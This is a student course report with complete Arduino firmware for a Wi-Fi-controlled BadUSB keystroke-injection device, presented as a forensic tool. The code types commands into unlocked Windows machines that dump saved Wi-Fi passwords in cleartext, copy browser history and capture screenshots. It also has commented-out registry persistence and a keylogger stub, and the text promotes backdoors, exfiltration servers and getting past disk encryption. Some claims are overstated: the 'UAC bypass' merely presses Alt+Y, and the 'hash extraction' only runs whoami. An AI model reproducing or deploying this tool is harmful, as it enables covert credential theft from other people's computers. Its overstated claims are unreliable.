Host Based Forensics

Course Project - Research Report

Harshit Mashru

Abstract

In this project, I have developed a platform-agnostic forensic collection tool that uses USB keystroke injection to automate the extraction of critical artifacts from an unlocked machine. I used the ATTiny85 microcontroller and ESP8266 Wi-Fi module for this purpose. This system allows remote control via a web interface, offering a low-cost method for hands-on incident response. It is capable of extracting critical artifacts without needing any specialized software installations. This report details the design, implementation challenges, results, and future development directions for the project.

Background

Host-based digital forensics focuses on collecting evidence from endpoints such as laptops, desktops, and servers. Traditionally, forensic acquisition tools require agent installation or physical device imaging, both of which risk detection or require significant setup time.

Microcontroller-based attack devices such as the Rubber Ducky demonstrate how HID (Human Interface Device) emulation can be used for covert interaction. This project takes inspiration from a traditional Rubber Ducky and incorporates Wifi capabilities to send commands remotely rather than pre-configured payloads to automate forensic collection.

The major motivation for these tools stems from the fact that in time-critical missions/ investigations, evidence needs to be recovered and sent to the forensics experts remotely, quickly. This can be incorporated as a step after copying the device data to quickly extract, compile and start performing forensic analysis for standard investigations.

Related Work

There is some research/project work based on separate components involved in the project. These work include:

1) **DigiSpark ATTiny85 Projects:** Projects that demonstrate keystroke automation

2) **ESP8266 Projects:** Projects that create and host Wi-Fi server hosting capabilities on ESP8266 microcontroller
3) **Rubber Ducky Attacks:** HID-based penetration tools that simulate human interaction in form of keystrokes or mouse movements/clicks to inject payloads automatically

Compared to these, this project integrates live wireless control of HID actions, rather than static pre-programmed payloads. By doing this, we offer greater flexibility and applicability for forensic tasks. The idea of including wireless control into HID actions to accommodate scenarios for forensic analysts to perform faster analysis in critical situations remotely separates the project from any other.

Project Goal Summary

Goal 1

Enable Wi-Fi on ESP8266 and create a lightweight web server to send commands via phone.

Goal 2

Leverage Digispark ATTiny85's keystroke injection to extract critical forensic artifacts.

Approach

System Architecture

The system consists of two primary components:

ATTiny85 (Digispark)
This chip acts as a USB device that sends keystrokes to the host machine using HID

ESP8266 Wi-Fi Module
Hosts a lightweight web server, allowing a mobile device to send commands wirelessly

Hardware Integration (Connection Summary)

Power Connections
5V and GND lines shared between ATTiny85 and ESP8266

Data Transmission
This is done using software UART emulation to transmit commands between ESP8266 and ATTiny85. This was needed because of ATTiny85's lack of direct hardware UART support.

D5 Pin on ESP8266 connected to P2 pin of ATTiny85. (Details in the code)

Physical Connectivity
ATTiny85 connects directly to the target machine via USB port; ESP8266 is powered either through ATTiny or an external power source.

Software and Challenges

Arduino IDE used for developing and flashing firmware onto both microcontrollers.

Challenges:

1) ATTiny85 no longer officially supported → required use of community-maintained libraries
2) ATTiny85 lacks native UART support → software-based UART emulation had to be implemented
3) Conflict between DigiKeyboard library (for sending keystrokes) and SoftwareSerial (for receiving UART commands) required a lot of research and tweaking the code

Solution:
The conflict resolution for the libraries upon a lot of research was identified from community resources (specifically [3]), allowing both functionalities to coexist by using an updated library that has changed important specifications to resolve conflicts.

Data Flow

Commands sent from phone → received by ESP8266 web server → transmitted over UART → ATTiny85 interprets the command and performs appropriately injects keystrokes into the target

Results

The project has successfully demonstrated the ability to remotely perform forensic tasks on an unlocked machine without requiring administrative privileges in a quick and easy manner.

Successful Forensic Tasks:

1) Extracting browser artifacts like history, cookies, etc
2) Retrieving Wi-Fi credentials stored on the system quickly using UAC Bypass
3) Listing installed programs
4) Extracting current user hash

Other Demonstrations:

1) Easy persistence mechanisms using registry keys to allow installing backdoors, keyloggers
2) Running pranks like changing desktop wallpaper or **Rick Roll** 😎

Conclusion

This project was able to successfully prove the feasibility of live wireless command-based forensic data acquisition using low-cost microcontrollers. The combined use of Wi-Fi and keystroke injection provides flexibility and operational speed advantages over traditional forensic methods requiring manual interaction or bulky equipment. This enables remote work and faster analysis in crucial situations. For the scope of this project, all the artifact extractions are stored on the target machine itself but as highlighted in the future work section ideally we would exfiltrate them on a server hosted by us for forensic faster analysis.

The project bridges offensive and defensive security practices by showcasing realistic forensic extraction methods in adversarial conditions. The project also highlights how tactics used for attacks can be redirected for investigation.

All the code, presentation slides and instructions on how to run everything step by step can be found on the following Github Repository or [8]

Future Work

These are some ideas that could be explored further:

1) Hosting public domain servers for remote data exfiltration for quick forensic analysis
2) Physically integrating (soldering) ATTiny85 and ESP8266 into a single compact device for ease of use
3) Devising ways to bypass disk encryption mechanisms to access encrypted storage and extract sensitive credentials like browser saved passwords

Special Mentions

Lastly, I wanted to acknowledge my peers (Samuel and Harrison). They assisted me with debugging electrical issues faced during the project using their knowledge and experience in the field.

References

[1] “Advanced RISC Architecture ATtiny” Available: https://ww1.microchip.com/downloads/en/DeviceDoc/Atmel-2586-AVR-8-bit-Microcontroller-ATtiny25-ATtiny45-ATtiny85_Datasheet-Summary.pdf

[2] Espressif, “ESP8266EX Datasheet,” Jun. 2023. Available: https://www.espressif.com/sites/default/files/documentation/0a-esp8266ex_datasheet_en.pdf

[3] digistump, “Unable to Find #Include SoftwareSerial.h library · Issue #128 · digistump/DigistumpArduino,” GitHub, 2025. https://github.com/digistump/DigistumpArduino/issues/128 (accessed Apr. 29, 2025).

[4] Develectron, “How to make a USB Rubber Ducky using a normal USB Stick,” Hak5 Forums, Mar. 27, 2015. https://forums.hak5.org/topic/34950-how-to-make-a-usb-rubber-ducky-using-a-normal-usb-stick/ (accessed Apr. 29, 2025).

[5] 262588213843476, “HowTo Hello World Digispark Rubber Ducky,” Gist, Oct. 24, 2022. https://gist.github.com/maxkratz/a6575a4371c056ad2125cbcf90577895 (accessed Apr. 29, 2025).

[6] thanvinhbaohoang, “GitHub - thanvinhbaohoang/DigiSpark-badUSB: Scripts for DigiSpark to run BadUSB Attacks,” GitHub, 2021. https://github.com/thanvinhbaohoang/DigiSpark-badUSB/tree/main (accessed Apr. 29, 2025).

[7] Abhishek, “How to Make a Rubber Ducky using a Digi spark ATTiny 85 USB Development board,” Thebigcircuit.com, Jun. 03, 2019. https://thebigcircuit.com/how-to-make-a-rubber-ducky-using-a-digi-spark-attiny-85-usb-development-board/ (accessed Apr. 29, 2025).

[8] Harshit-Mashru, “GitHub - Harshit-Mashru/HBF-Project: AutoUSB for Forensics,” GitHub, 2025. https://github.com/Harshit-Mashru/HBF-Project (accessed Apr. 29, 2025).

Appendix

Code to flash ESP8266

```C/C++
// Code to flash ESP 8266 for setting up WIFI and web server. The code also instantiates software serialization and the output from the connected device via phone/laptop is sent on the D5 pin.

#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <SoftwareSerial.h>

// Use D5 (GPIO14) for TX only
SoftwareSerial toATTiny(-1, 14); // RX=-1 (unused), TX=14

// Web server config
ESP8266WebServer server(80);
const int ledPin = LED_BUILTIN;

void handleRoot() {
  server.send(200, "text/html",
    "<h1>ESP8266 Controller</h1>"
    "<p>Send commands to /run?cmd=a</p>"
    "<br><h2>Commands</h2><br>"
    "r → A SURPRISE<br>"
    "w → WIFI<br>"
    "b → Browser<br>"
    "h → Hashes<br>"
    "i → Installed Softwares<br>"
    "s → Screenshot<br>"
  );
}

void handleRun() {
  if(server.hasArg("cmd") && server.arg("cmd") == "r") {
    digitalWrite(ledPin, LOW);

    toATTiny.write("r");
    toATTiny.flush();

    server.send(200, "text/plain", "Sent: r");
    digitalWrite(ledPin, HIGH);
    return;
```

```
// } else if(server.hasArg("cmd") && server.arg("cmd") == "c") {
//   digitalWrite(ledPin, LOW);
//   toATTiny.write("c"); // Use write() instead of print()
//   toATTiny.flush();          // Ensure complete transmission

//   server.send(200, "text/plain", "Sent: b");
//   digitalWrite(ledPin, HIGH);
//   return;
} else if(server.hasArg("cmd") && server.arg("cmd") == "w") {
  digitalWrite(ledPin, LOW);
  toATTiny.write("w");
  toATTiny.flush();

  server.send(200, "text/plain", "Sent: w");
  digitalWrite(ledPin, HIGH);
  return;
}
else if(server.hasArg("cmd") && server.arg("cmd") == "b") {
  digitalWrite(ledPin, LOW);
  toATTiny.write("b");
  toATTiny.flush();

  server.send(200, "text/plain", "Sent: b");
  digitalWrite(ledPin, HIGH);
  return;
}
else if(server.hasArg("cmd") && server.arg("cmd") == "h") {
  digitalWrite(ledPin, LOW);
  toATTiny.write("h");
  toATTiny.flush();

  server.send(200, "text/plain", "Sent: h");
  digitalWrite(ledPin, HIGH);
  return;
}
else if(server.hasArg("cmd") && server.arg("cmd") == "i") {
  digitalWrite(ledPin, LOW);
  toATTiny.write("i");
  toATTiny.flush();

  server.send(200, "text/plain", "Sent: i");
  digitalWrite(ledPin, HIGH);
  return;
}
```

```
  else if(server.hasArg("cmd") && server.arg("cmd") == "s") {
    digitalWrite(ledPin, LOW);
    toATTiny.write("s");
    toATTiny.flush();

    server.send(200, "text/plain", "Sent: s");
    digitalWrite(ledPin, HIGH);
    return;
  }
  // else if(server.hasArg("cmd") && server.arg("cmd") == "k") { // Setting up
keylogger
  //   digitalWrite(ledPin, LOW);
  //   toATTiny.write("k"); // Use write() instead of print()
  //   toATTiny.flush();          // Ensure complete transmission

  //   server.send(200, "text/plain", "Sent: b");
  //   digitalWrite(ledPin, HIGH);
  //   return;
  // }
  server.send(400, "text/plain", "Invalid command");
}

void setup() {
  pinMode(ledPin, OUTPUT);
  digitalWrite(ledPin, HIGH);

  toATTiny.begin(9600);
  Serial.begin(115200);

  // WiFi Setup
  WiFi.persistent(false);
  WiFi.mode(WIFI_OFF);
  delay(100);
  WiFi.mode(WIFI_AP);

  IPAddress apIP(192, 168, 4, 1);
  WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
  WiFi.softAP("HBF-DA-BEST", "YesItIs");

  server.on("/", handleRoot);
  server.on("/run", handleRun);
  server.begin();
}
```

```
void loop() {
  server.handleClient();
}
```

Code to flash ATTiny85

C/C++

```
// Code to be flashed in the ATTiny85. Upon startup it waits on commands to be sent as an ascii character on the P2 pin using UART Software Serialization

#include <SoftSerial_INT0.h>
#include "DigiKeyboard.h"

#define LED_PIN PB1

SoftSerial mySerial(2, -1); // RX, TX

void setup() {
  mySerial.begin(9600);
  pinMode(LED_PIN, OUTPUT);
  DigiKeyboard.sendKeyStroke(0);  // Initialize DigiKeyboard
  DigiKeyboard.delay(2000);
}

void loop() {
  digitalWrite(LED_PIN, HIGH);
  if (mySerial.available() > 0) {
    digitalWrite(LED_PIN, LOW);  // LED ON
    char cmd = mySerial.read();
    if (cmd == 'r'){ // R for rickroll
      DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
      DigiKeyboard.delay(600);
      DigiKeyboard.print("https://youtu.be/dQw4w9WgXcQ?t=43s");
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      DigiKeyboard.delay(5000);
      digitalWrite(LED_PIN, LOW);
    // } else if (cmd == 'c') { // C for Crazy Frog
    //   DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
    //   DigiKeyboard.delay(600);
```

```
    //
DigiKeyboard.print("https://www.youtube.com/watch?v=k85mRPqvMbE&t=7s");
    //   DigiKeyboard.sendKeyStroke(KEY_ENTER);
    //   DigiKeyboard.delay(5000);
    //   digitalWrite(LED_PIN, LOW);
    }
    else if (cmd == 'w') { // WIFI data extraction
      DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
      DigiKeyboard.delay(500);
      DigiKeyboard.sendKeyStroke(KEY_A);
      DigiKeyboard.delay(1000);

      // Bypass UAC: Alt+Y
      DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
      DigiKeyboard.delay(500);

      // Run PowerShell to extract Wi-Fi creds and save to CSV
      DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String
'\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan
show profile name=$name key=clear)}  | Select-String 'Key Content\\W+\\:(.+)$'
| %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{
PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path
C:\\Users\\Public\\wifi.csv -NoTypeInformation;exit"));
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      DigiKeyboard.delay(2000);

      // Open the file in Notepad
      DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
      DigiKeyboard.delay(500);
      DigiKeyboard.print("notepad C:\\Users\\Public\\wifi.csv");
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      DigiKeyboard.delay(1000);
    } else if (cmd == 'b') { // Browser history extraction!
      DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
      DigiKeyboard.delay(500);
      DigiKeyboard.print("powershell");
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      DigiKeyboard.delay(800);

      DigiKeyboard.print(F("$historyPath =
\"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\History\";"));
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      DigiKeyboard.delay(300);
```

```
      DigiKeyboard.print(F("Copy-Item $historyPath -Destination
\"C:\\Users\\Public\\chrome_history.db\" -Force"));
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      DigiKeyboard.delay(300);
      DigiKeyboard.print(F("exit"));
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
    } else if (cmd == 'h') { // hashes extraction (Current User)
      DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
      DigiKeyboard.delay(500);
      DigiKeyboard.print("cmd");
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      DigiKeyboard.delay(800);

      DigiKeyboard.print(F("whoami /user > C:\\Users\\Public\\user_sid.txt"));
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      DigiKeyboard.delay(500);
      DigiKeyboard.print("exit");
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
    } else if (cmd == 'i') { // Installed software extraction!
      DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
      DigiKeyboard.delay(500);
      DigiKeyboard.print("powershell");
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      DigiKeyboard.delay(800);

      DigiKeyboard.print(F("Get-ItemProperty
HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*
| Select-Object DisplayName, DisplayVersion >
\"C:\\Users\\Public\\installed_programs.txt\""));
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      DigiKeyboard.delay(500);
      DigiKeyboard.print("exit");
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
    // } else if (cmd == 's') { // Adding calculator as a startup application
    //   DigiKeyboard.delay(500);
      // DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); // Open the Start
Menu
      // DigiKeyboard.delay(500);
      // DigiKeyboard.sendKeyStroke(KEY_R); // Open "Run" dialog
      // DigiKeyboard.delay(500);
      // DigiKeyboard.print(F("reg add
\"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"Calculator\"
/t REG_SZ /d \"C:\\Windows\\System32\\calc.exe\" /f"));
      // DigiKeyboard.sendKeyStroke(KEY_ENTER); // Run the command
```

```
      // DigiKeyboard.delay(500);
    }
    else if (cmd == 's') { // Screenshot of the current window and saving
      delay(500);

      DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Windows + R
      delay(500);
      DigiKeyboard.print("powershell");
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      delay(2000);

      // PowerShell commands to take a screenshot
      DigiKeyboard.print(F("Add-Type -AssemblyName
System.Windows.Forms;Add-Type -AssemblyName
System.Drawing;$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object
Drawing.Bitmap
$b.Width,$b.Height;$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.
Location,[Drawing.Point]::Empty,$b.Size);$bmp.Save(\"C:\\Users\\Public\\screens
hot.png\",[Drawing.Imaging.ImageFormat]::Png);"));
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
    }
  }
}
```